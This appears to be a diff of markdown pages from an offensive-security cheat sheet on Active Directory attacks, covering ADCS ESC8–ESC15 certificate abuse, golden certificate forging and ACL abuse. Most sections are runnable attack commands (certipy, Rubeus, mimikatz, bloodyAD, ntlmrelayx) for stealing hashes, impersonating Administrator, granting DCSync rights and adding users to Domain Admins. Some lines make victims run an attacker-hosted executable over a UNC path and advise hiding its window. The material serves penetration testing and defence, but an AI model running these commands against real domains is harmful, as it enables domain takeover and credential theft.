# relay kerberos
python3 krbrelayx.py -t 'http://computer.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'COMPUTER$' -ip 10.10.10.10
```
## References
* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
* [AD CS relay attack - practical guide - @exandroiddev - June 23, 2021](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/)

View File

@@ -0,0 +1,52 @@
# Active Directory - Certificate ESC9
## ESC9 - No Security Extension
**Requirements**
* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
* Certificate specifies `Any Client` authentication EKU
* `GenericWrite` over any account A to compromise any account B
**Scenario**
<John@corp.local> has **GenericWrite** over <Jane@corp.local>, and we want to compromise <Administrator@corp.local>.
<Jane@corp.local> is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.
* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
```ps1
certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
```
* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part
```ps1
certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
```
* Request the vulnerable certificate template ESC9 from Jane's account.
```ps1
certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator
# the issued certificate contains no "object SID"
```
* Restore userPrincipalName of Jane to <Jane@corp.local>.
```ps1
certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
```
* Authenticate with the certificate and receive the NT hash of the <Administrator@corp.local> user.
```ps1
certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specified in the certificate.
```
## References
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)

View File

@@ -0,0 +1,54 @@
# Active Directory - Certificate ESC10
## ESC10 Weak Certificate Mapping - StrongCertificateBindingEnforcement
**Requirements**:
* `StrongCertificateBindingEnforcement` = 0.
**Exploit**:
```ps1
# get user hash with shadowcredentials
certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10
# change user UPN
certipy account update -username "user@domain.local" -p "password" -user admin -upn administrator -dc-ip 10.10.10.10
# ask for certificate
certipy req -username "admin@domain.local" -hashes "hashes" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug
# Rollback upn modification
certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10
# Connect with the certificate
certipy auth -pfx 'administrator.pfx' -domain "domain.local" -dc-ip 10.10.10.10
```
## ESC10 Weak Certificate Mapping - CertificateMappingMethods
**Requirements**:
* `CertificateMappingMethods` = 0x04.
**Exploit**:
```ps1
certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10
# change user UPN to computer$
certipy account update -username "user@domain.local" -p "password" -user admin -upn 'computer$@domain.local' -dc-ip 10.10.10.10
# ask for certificate
certipy req -username "admin@domain.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug
# Rollback upn modification
certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10
# Connect via schannel with the certificate
certipy auth -pfx 'computer.pfx' -domain "domain.local" -dc-ip 10.10.10.10 -ldap-shell
```
## References
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)

View File

@@ -0,0 +1,53 @@
# Active Directory - Certificate ESC11
## ESC11 - Relaying NTLM to ICPR
> Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.
**Tools**:
* [ly4k/Certipy](https://github.com/ly4k/Certipy) - Certipy official
* [sploutchy/Certipy](https://github.com/sploutchy/Certipy) - Certipy fork
* [sploutchy/impacket](https://github.com/sploutchy/impacket) - Impacket fork
**Exploitation**:
1. Look for `Enforce Encryption for Requests: Disabled` in certipy output.
```ps1
certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
Enforce Encryption for Requests : Disabled
ESC11: Encryption is not enforced for ICPR (RPC) requests.
```
2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.
```ps1
certipy relay -target rpc://dc.domain.local -ca 'DOMAIN-CA' -template DomainController
# or
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
```
3. Coerce authentication fomr a privileged account such as a Domain Controller.
4. Use the certificate
```ps1
certipy auth -pfx dc.pfx
```
**Mitigations**:
Enforce **RPC Encryption** (Packet Privacy).
```powershell
certutil -getreg CA\InterfaceFlags
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc
net start certsvc
```
## References
* [ESC11: NTLM Relay to AD CS RPC Interface - Oliver Lyak - May 15, 2025](https://github.com/ly4k/Certipy/wiki/06--Privilege-Escalation#esc11-ntlm-relay-to-ad-cs-rpc-interface)
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)
* [Relaying to AD Certificate Services over RPC - SYLVAIN HEINIGER - November 16, 2022](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)

View File

@@ -0,0 +1,61 @@
# Active Directory - Certificate ESC12
## ESC12 - ADCS CA on YubiHSM
> The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.
**Requirements**:
* CA certificate
* Shell access on the root CA server
**Exploitation**:
* Generate a certicate for the user
```ps1
certipy req -target dc-esc.esc.local -dc-ip 10.10.10.10 -u "user_esc12@esc.local" -p 'P@ssw0rd' -template User -ca <CA-Common-Name>
certipy cert -pfx user_esc12.pfx -nokey -out user_esc12.crt
certipy cert -pfx user_esc12.pfx -nocert -out user_esc12.key
```
* Importing the CA certificate into the user store
```ps1
certutil -addstore -user my .\Root-CA-5.cer
```
* Associated with the private key in the YubiHSM2 device
```ps1
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA-Common-Name>
```
* Sign `user_esc12.crt` and specify a `Subject Alternative Name` using the `extension.inf` file.
```ps1
certutil -sign ./user_esc12.crt new.crt @extension.inf
```
* Content of extension.inf
```cs
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "UPN=Administrator@esc.local&"
```
* Use the certificate to get the TGT of the Administrator
```ps1
openssl.exe pkcs12 -export -in new.crt -inkey user_esc12.key -out user_esc12_Administrator.pfx
Rubeus.exe asktgt /user:Administrator /certificate:user_esc12_Administrator.pfx /domain:esc.local /dc:192.168.1.2 /show /nowrap
```
Unlocking the YubiHSM with the plaintext password in the registry key: `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`.
## References
* [ESC12 Shell access to ADCS CA with YubiHSM - hajo - October 2023](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)
* [Exploitation de lAD CS : ESC12, ESC13 et ESC14 - Guillon Bony Rémi - February, 2025](https://connect.ed-diamond.com/misc/mischs-031/exploitation-de-l-ad-cs-esc12-esc13-et-esc14)

View File

@@ -0,0 +1,76 @@
# Active Directory - Certificate ESC13
## ESC13 - Issuance Policy
> If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.
**Requirements**
* The principal has enrollment rights on a certificate template
* The certificate template has an issuance policy extension
* The issuance policy has an OID group link to a group
* The certificate template defines EKUs that enable client authentication
```ps1
PS C:\> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTER\ESC13User"}
AccessControlType : Allow
# check if there is an issuance policy in the msPKI-Certificate-Policy
PS C:\> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy
msPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}
# check for OID group link
PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
msDS-OIDToGroupLink : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
# verify if ESC13Group is a Universal group
PS C:\> Get-ADGroup ESC13Group -Properties Members
GroupScope : Universal
Members : {}
```
**Exploitation**:
* Find a vulnerable template
```ps1
certipy find -target dc.lab.local -dc-ip 10.10.10.10 -u "username" -p "P@ssw0rd" -stdout -vulnerable
```
* Request a certificate for the vulnerable template
```ps1
.\Certify.exe request /ca:DC01\dumpster-DC01-CA /template:ESC13Template
certipy req -target dc.lab.local -dc-ip 10.10.10.10 -u "username" -p "P@ssw0rd" -template <ESC13-Template> -ca <CA-NAME>
```
* Merge into a PFX file
```ps1
certutil -MergePFX .\esc13.pem .\esc13.pfx
```
* Verify the presence of the "Client Authentication" and the "Policy Identifier"
```ps1
certutil -Dump -v .\esc13.pfx
```
* Pass-The-Certificate: Ask a TGT for our user, but we are also member of the linked group and inherited their privileges
```ps1
Rubeus.exe asktgt /user:ESC13User /certificate:C:\esc13.pfx /nowrap
Rubeus.exe asktgt /user:username /certificate:username.pfx /domain:lab.local /dc:dc /nowrap
```
* Pass-The-Ticket: Use the ticket that grant privileges from the AD group
```ps1
Rubeus.exe ptt /ticket:<ticket>
```
## References
* [ADCS ESC13 Abuse Technique - Jonas Bülow Knudsen - 02/15/2024](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
* [Exploitation de lAD CS : ESC12, ESC13 et ESC14 - Guillon Bony Rémi - February, 2025](https://connect.ed-diamond.com/misc/mischs-031/exploitation-de-l-ad-cs-esc12-esc13-et-esc14)
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)

View File

@@ -0,0 +1,64 @@
# Active Directory - Certificate ESC14
## ESC14 - altSecurityIdentities
> ESC14 is an Active Directory Certificate Services (ADCS) abuse technique that leverages the altSecurityIdentities attribute to perform explicit certificate mappings. This attribute allows administrators to associate specific certificates with user or computer accounts for authentication purposes. However, if an attacker gains write access to this attribute, they can add a mapping to a certificate they control, effectively impersonating the targeted account.
Domain administrators can manually associate certificates with a user in Active Directory by configuring the altSecurityIdentities attribute of the user object. This attribute supports six different values, categorized into three weak (insecure) mappings and three strong mappings.
In general, a mapping is considered strong if it relies on unique, non-reusable identifiers. Conversely, mappings based on usernames or email addresses are classified as weak, as these identifiers can be easily reused or changed.
| Mapping | Example | Type | Remarks |
| ---------------------- | ---------------------------------- | ------ | ------------- |
| X509IssuerSubject | `X509:<I>IssuerName<S>SubjectName` | Weak | / |
| X509SubjectOnly | `X509:<S>SubjectName` | Weak | / |
| X509RFC822 | `X509:<RFC822>user@contoso.com` | Weak | Email Address |
| X509IssuerSerialNumber | `X509:<I>IssuerName<SR>1234567890` | Strong | Recommended |
| X509SKI | `X509:<SKI>123456789abcdef` | Strong | / |
| X509SHA1PublicKey | `X509:<SHA1-PUKEY>123456789abcdef` | Strong | / |
**Requirements**:
* Ability to modify the attribute `altSecurityIdentitites` of an account.
**Exploitation**:
**Technique 1** with [GhostPack/Certify](https://github.com/GhostPack/Certify) and [logangoins/Stifle](https://github.com/logangoins/Stifle)
```ps1
# the certificate requested must be a machine account certificate
Certify.exe request /ca:lab.lan\lab-dc01-ca /template:Machine /machine
# convert to base64 .pfx format:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export | base64 -w 0
# generate a certificate mapping string and write it to the target objects altSecurityIdentities attribute:
Stifle.exe add /object:target /certificate:MIIMrQI... /password:P@ssw0rd
# request a TGT using PKINIT authentication, effectively impersonating the target user with Rubeus:
Rubeus.exe asktgt /user:target /certificate:MIIMrQI... /password:P@ssw0rd
```
**Technique 2** using [Deloitte-OffSecResearch/Certipy](https://github.com/Deloitte-OffSecResearch/Certipy) and [JonasBK/Add-AltSecIDMapping.ps1](https://github.com/JonasBK/Powershell/blob/master/Add-AltSecIDMapping.ps1)
```ps1
# request a machine account certificate
addcomputer.py -method LDAPS -computer-name 'ESC13$' -computer-pass 'P@ssw0rd' -dc-host dc.lab.local 'lab.local/kuma'
certipy req -target dc.lab.local -dc-ip 10.10.10.10 -u "ESC13$@lab.local" -p 'P@ssw0rd' -template Machine -ca LAB-CA
# extract Serial Number and Issuer, to configure a strong mapping
certutil -Dump -v .\esc13.pfx
Get-X509IssuerSerialNumberFormat -SerialNumber "<serial-number>" -IssuerDistinguishedName "<issuer-cn>"
# add mapping to the Administrator user
Add-AltSecIDMapping -DistinguishedName "CN=Administrator,CN=Users,DC=lab,DC=local" -MappingString "<output-x509-issuer-serial-number>"
# request TGT for Administrator
Rubeus.exe asktgt /user:Administrator /certificate:esc13.pfx /domain:lab.local /dc:dc.lab.local /show /nowrap
```
## References
* [ADCS ESC14 Abuse Technique - Jonas Bülow Knudsen - February 28, 2024](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9)
* [Exploitation de lAD CS : ESC12, ESC13 et ESC14 - Guillon Bony Rémi - February, 2025](https://connect.ed-diamond.com/misc/mischs-031/exploitation-de-l-ad-cs-esc12-esc13-et-esc14)
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)

View File

@@ -0,0 +1,53 @@
# Active Directory - Certificate ESC15
## ESC15 - EKUwu Application Policies - CVE-2024-49019
This technique now has a CVE number and was patched on November 12, See [Active Directory Certificate Services Elevation of Privilege Vulnerability - CVE-2024-49019](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019) for more information.
**Requirements**:
* **Template Schema** Version 1
* **ENROLLEE_SUPPLIES_SUBJECT** = `True`
**Exploitation**:
Detect the vulnerability from BloodHound data using the following cypher query.
```ps1
MATCH p=(:Base)-[:MemberOf*0..]->()-[:Enroll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA)-[:TrustedForNTAuth]->(:NTAuthStore)-[:NTAuthStoreFor]->(:Domain) WHERE ct.enrolleesuppliessubject = True AND ct.authenticationenabled = False AND ct.requiresmanagerapproval = False AND ct.schemaversion = 1 RETURN p
```
The **Application Policies** extension is a proprietary certificate extension with the OID `1.3.6.1.4.1.311`, same as **x509 EKUs**. It was designed to allow users to specify additional use cases for certificates by utilizing the same OIDs as those in the Enhanced Key Usage extension.
If there is a conflict between an Application Policy and an EKU, then Microsoft prefers the proprietary Application Policy.
> "Application policy is Microsoft specific and is treated much like Extended Key Usage. If a certificate has an extension containing an application policy and also has an EKU extension, the EKU extension is ignored." - Microsoft
When a user requests a certificate based on a schema version 1 template and includes an application policy, the policy is incorporated into the certificate. This allows users to specify arbitrary EKUs, bypassing the requirements for ESC2.
**ESC1** - The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the `Server Authentication` EKU. Using [ly4k/Certipy PR #228](https://github.com/ly4k/Certipy/pull/228), we can add the `Client Authentication` EKU to `WebServer`. Anybody with the `Enroll` permission on this template can now compromise the domain.
```ps1
certipy req -dc-ip 10.10.10.10 -ca CA -target-ip 10.10.10.11 -u user@domain.com -p 'P@ssw0rd' -template WebServer -upn Administrator@domain.com --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell
# in LDAP shell
add_user pentest_user
add_user_to_group pentest_user "Domain Admins"
```
**ESC2/ESC3** - **Certificate Request Agent** (`1.3.6.1.4.1.311.20.2.1`),
```ps1
certipy -req -u user@domain.com -p 'P@ssw0rd' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca "Lab Root CA" -template WebServer -dc-ip 10.10.10.10 -target-ip 10.10.10.11
certipy -req -u user@domain.com -p 'P@ssw0rd' -on-behalf-of DOMAIN\\Administrator -Template User -ca "Lab Root CA" -pfx user.pfx -dc-ip 10.10.10.10 -target-ip 10.10.10.11
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```
## References
* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps - frank - July 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
* [ADCS Exploitation Part 2: Certificate Mapping + ESC15 - Giulio Pierantoni - October 10, 2024](https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760)
* [Curious case of AD CS ESC15 vulnerable instance and its manual exploitation - Mannu Linux - February 13, 2025](https://www.mannulinux.org/2025/02/Curious-case-of-AD-CS-ESC15-vulnerable-instance-and-its-manual-exploitation.html)
* [EKUwu: Not just another AD CS ESC - Justin Bollinger - October 08, 2024](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
* [ESC15/EKUwu PR #228 - dru1d-foofus - August 10, 2024](https://github.com/ly4k/Certipy/pull/228)
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)

View File

@@ -0,0 +1,94 @@
# Active Directory - Golden Certificate
A Golden Certificate is a maliciously crafted certificate that an attacker generates using the CAs private key.
## Obtain CA certificate
Export the CA certificate including the private key:
* [GhostPack/Certify](https://github.com/GhostPack/Certify)
```ps1
Certify.exe manage-self --dump-certs
```
* [ly4k/Certipy](https://github.com/ly4k/Certipy)
```ps1
certipy ca -u 'administrator@corp.local' -p 'Passw0rd!' -ns '10.10.10.10' -target 'CA.CORP.LOCAL' -config 'CA.CORP.LOCAL\CORP-CA' -backup
```
* [windows-gui/certsrv.msc](https://learn.microsoft.com/en-us/system-center/scom/obtain-certificate-windows-server-and-operations-manager)
* Open `certsrv.msc`
* Right click the CA -> `All Tasks` -> `Back up CA...`
* Follow the wizard but make sure to check `Private key and CA certificate`
* [windows-gui/certlm.msc](https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/export-certificate-private-key)
* Open `certlm.msc`
* Go to `Personal` -> `Certificates`
* Right click the CA signing certificate -> `All Tasks` -> `Export`
* Follow the wizard but make sure to choose `Yes, export the private key`
* [windows-commands/certutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil)
```ps1
certutil -backupKey -f -p SuperSecurePassw0rd! C:\Windows\Tasks\CaBackupFolder
```
* [gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz)
```ps1
mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"
```
## Forge Golden Certificates
Forge a certificate of a target principal:
* [GhostPack/Certify](https://github.com/GhostPack/Certify)
```ps1
Certify.exe forge --ca-cert <pfx-path/base64-pfx> --upn Administrator --sid S-1-5-21-976219687-1556195986-4104514715-500
```
* [GhostPack/ForgeCert](https://github.com/GhostPack/ForgeCert)
```ps1
ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"
```
* [ly4k/Certipy](https://github.com/ly4k/Certipy)
```ps1
certipy forge -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' -crl 'ldap:///'
certipy forge -template 'attacker.pfx' -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
```
:warning: Useful parameters when generating a golden certificate.
* `-crl`: If the `-crl` option is omitted when forging, authentication might fail. While the KDC doesn't typically perform an active CRL lookup during initial TGT issuance for performance reasons, it does often check for the presence of a CDP extension in the certificate. Its absence can lead to a `KDC_ERROR_CLIENT_NOT_TRUSTED` error.
* `-template 'attacker.pfx'`: Certipy will copy extensions (like Key Usage, basic constraints, AIA, etc.) from attacker.pfx into the new forged certificate, while still setting the **subject**, **UPN**, and *SID* as specified.
* `-subject "CN=xyz-CA-1, DC=xyz, DC=htb"`: set the **Distinguished Name** for the certificate
## Request a TGT
* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
```ps1
Rubeus.exe asktgt /user:Administrator /domain:dumpster.fire /certificate:<pfx-path/base64-pfx>
```
* [ly4k/Certipy](https://github.com/ly4k/Certipy)
```ps1
certipy auth -pfx 'administrator_forged.pfx' -dc-ip '10.10.10.10'
```
## References
* [BloodHound - GoldenCert Edge - SpecterOps - April 20, 2025](https://bloodhound.specterops.io/resources/edges/golden-cert)
* [Certificate authority - The Hacker Recipes - July 16,2025](https://www.thehacker.recipes/ad/persistence/adcs/certificate-authority)
* [Domain Persistence Techniques - Valdemar Carøe - August 6, 2025](https://github.com/GhostPack/Certify/wiki/3--Domain-Persistence-Techniques)
* [PostExploitation - Oliver Lyak - May 15, 2025](https://github.com/ly4k/Certipy/wiki/07--PostExploitation)
* [Steal or Forge Authentication Certificates - MITRE ATT&CK - April 15, 2025](https://attack.mitre.org/techniques/T1649/)

View File

@@ -0,0 +1,368 @@
# Active Directory - Access Controls ACL/ACE
An **Access Control Entry (ACE)** is a specific permission granted or denied to a user or group for a particular resource, such as a file or directory. Each ACE defines the type of access allowed (e.g., read, write, execute) or denied.
An **Access Control List (ACL)** is a collection of Access Control Entries (ACEs) associated with a resource.
* Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).
```ps1
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
```
* Automate ACL exploit [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn):
```ps1
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'
```
## GenericAll/GenericWrite
### User/Computer
We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
* Windows/Linux
```ps1
# Check for interesting permissions on accounts:
bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get writable --otype USER --right WRITE --detail | egrep -i 'distinguishedName|servicePrincipalName'
# Check if current user has already an SPN setted:
bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get object <UserName> --attr serviceprincipalname
# Force set the SPN on the account: Targeted Kerberoasting
bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname -v 'ops/whatever1'
# Grab the ticket
GetUsersSPNs.py -dc-ip 10.10.10.10 'attack.lab/john.doe:Password123*' -request-user <UserName>
# Remove the SPN
bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname
```
* Windows only
```ps1
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
# Check if current user has already an SPN setted:
PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
# Force set the SPN on the account: Targeted Kerberoasting
PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
# Grab the ticket
PowerView2 > $User = Get-DomainUser username
PowerView2 > $User | Get-DomainSPNTicket | fl
PowerView2 > $User | Select serviceprincipalname
# Remove the SPN
PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
```
We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
* Windows/Linux:
```ps1
# Modify the userAccountControl
$ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] add uac [Target_User] -f DONT_REQ_PREAUTH
# Grab the ticket
$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# Set back the userAccountControl
$ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] remove uac [Target_User] -f DONT_REQ_PREAUTH
```
* Windows only:
```ps1
# Modify the userAccountControl
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
# Grab the ticket
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
# Set back the userAccountControl
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
```
Reset another user's password.
* Windows/Linux:
```ps1
# Using bloodyAD with pass-the-hash
bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password john.doe 'Password123!'
```
* Windows only:
```ps1
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
$user = 'DOMAIN\user1';
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
```
* Linux only:
```ps1
# Using rpcclient from the Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
```
WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script :
* Windows/Linux:
```ps1
bloodyAD --host 10.0.0.5 -d example.lab -u attacker -p 'Password123*' set object delegate scriptpath -v '\\10.0.0.5\totallyLegitScript.bat'
```
* Windows only:
```ps1
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.bat"
```
### Group
This ACE allows us to add ourselves to the Domain Admin group :
* Windows/Linux:
```ps1
bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 add groupMember 'Domain Admins' hacker
```
* Windows only:
```ps1
net group "domain admins" hacker /add /domain
```
* Linux only:
```ps1
# Using the Samba software suite
net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]
```
### GenericWrite and Remote Connection Manager
> Now lets say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called Environment.
>
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the Starting program field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - "ACE to RCE" - @JustinPerdok - July 24, 2020
:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
* Windows/Linux:
```ps1
bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSInitialProgram -v '\\1.2.3.4\share\file.exe'
bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSWorkDirectory -v 'C:\'
```
* Windows only:
```ps1
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
```
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
## WriteDACL
To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights `Replicating Directory Changes/Replicating Directory Changes All`.
### WriteDACL on Domain
* Windows/Linux:
```ps1
# Give DCSync right to the principal identity
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B add dcsync user2
# Remove right after DCSync
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B remove dcsync user2
```
* Windows only:
```ps1
# Give DCSync right to the principal identity
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
```
### WriteDACL on Group
* Windows/Linux:
```ps1
bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' add genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1
# Remove right
bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' remove genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1
```
* Windows only:
```ps1
# Using native command
net group "INTERESTING_GROUP" User1 /add /domain
# Or with external tool
